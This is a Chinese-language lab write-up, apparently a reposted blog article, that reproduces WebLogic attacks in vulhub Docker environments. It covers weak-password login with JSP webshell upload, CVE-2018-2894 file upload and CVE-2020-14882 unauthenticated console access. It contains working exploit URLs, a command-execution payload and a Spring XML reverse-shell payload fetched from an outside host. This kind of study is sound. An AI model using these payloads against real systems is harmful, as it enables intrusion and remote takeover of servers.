╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› 
╰─$ sudo docker ps           
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                                                                                  NAMES
76e193e908ce   vulhub/weblogic:10.3.6.0-2017       "startWebLogic.sh"       44 seconds ago   Up 23 seconds   0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   weak_password_weblogic_1

docker环境在服务器中,将7001映射到外部端口33401
访问http://10.140.32.159:33401/console/login/LoginForm.jsp

使用常用的弱口令尝试登录,用户名:weblogic 口令:Oracle@123
成功登入后台,接下来就是找到上传文件的点,获取shell
点击部署->安装

准备一个jsp马,并将对应的目录打成war包上传


部署成功,使用冰蝎进行连接

参考:http://www.meta-sec.top/2022/02/09/weblogic-chang-jian-lou-dong-yi-kong-zhi-tai-ruo-kou-ling/

3.2 未授权访问

3.2.1 CVE-2018-2894

漏洞复现
使用vulhub上的docker搭建环境

sudo docker-compose up -d

查看此容器的账户和密码

sudo docker-compose logs | grep password

使用账户(weblogic)和密码(deUHw2wQ)登录后台
选择高级选项

启用Web服务测试页

开发环境下的测试页有config.do和begin.do
进入config.do文件,将目录设置为ws_utc应用的静态文件css目录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css


上传一个jsp文件

后端存储的文件名是时间戳+上传的文件名,时间戳会回显在代码中

访问http://10.140.32.159:33401/ws_utc/css/config/keystore/1692882428438_shell.jsp
使用冰蝎连接

同样可以使用begin.do进行利用
访问http://10.140.32.159:33401/ws_utc/begin.do,上传jsp
尽管上传后会报错,但是抓post包的响应中有jsp文件名

访问http://10.140.32.159:33401/ws_utc/css/upload/RS_Upload_2023-08-24_13-16-31_154/import_file_name_shell.jsp,使用冰蝎连接

3.2.2 CVE-2020-14882

漏洞复现
使用vulhub上的docker搭建环境
这里未授权访问的地址是
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29,通过这个地址就能够进入后台
命令执行操作:
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/CVE-2020-14882%27);%22);
命令执行成功

反弹shell
创建一个xml文件

# reverse-bash.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/172.24.0.1/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

访问下面url即可进行shell反弹
http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.24.0.1:8080/cve-2020-14882-reverse-bash.xml")

参考:https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4

....暂时写到这吧

4. 总结

对于反序列化漏洞而言,原理都是相通的,从老洞开始研究不仅能够掌握更多基础原理,还能够体会防御和绕过的趣味。每次回过头来分析一编,总能有不一样的体会与理解。作为初学者,时间有限...近两年出来的洞只看了大概,还没来的及详细分析。关于Weblogic远不止这些,希望能够探测更多关于Weblogic底层的东西。


文章来源: https://xz.aliyun.com/t/12964
如有侵权请联系:admin#unsafe.sh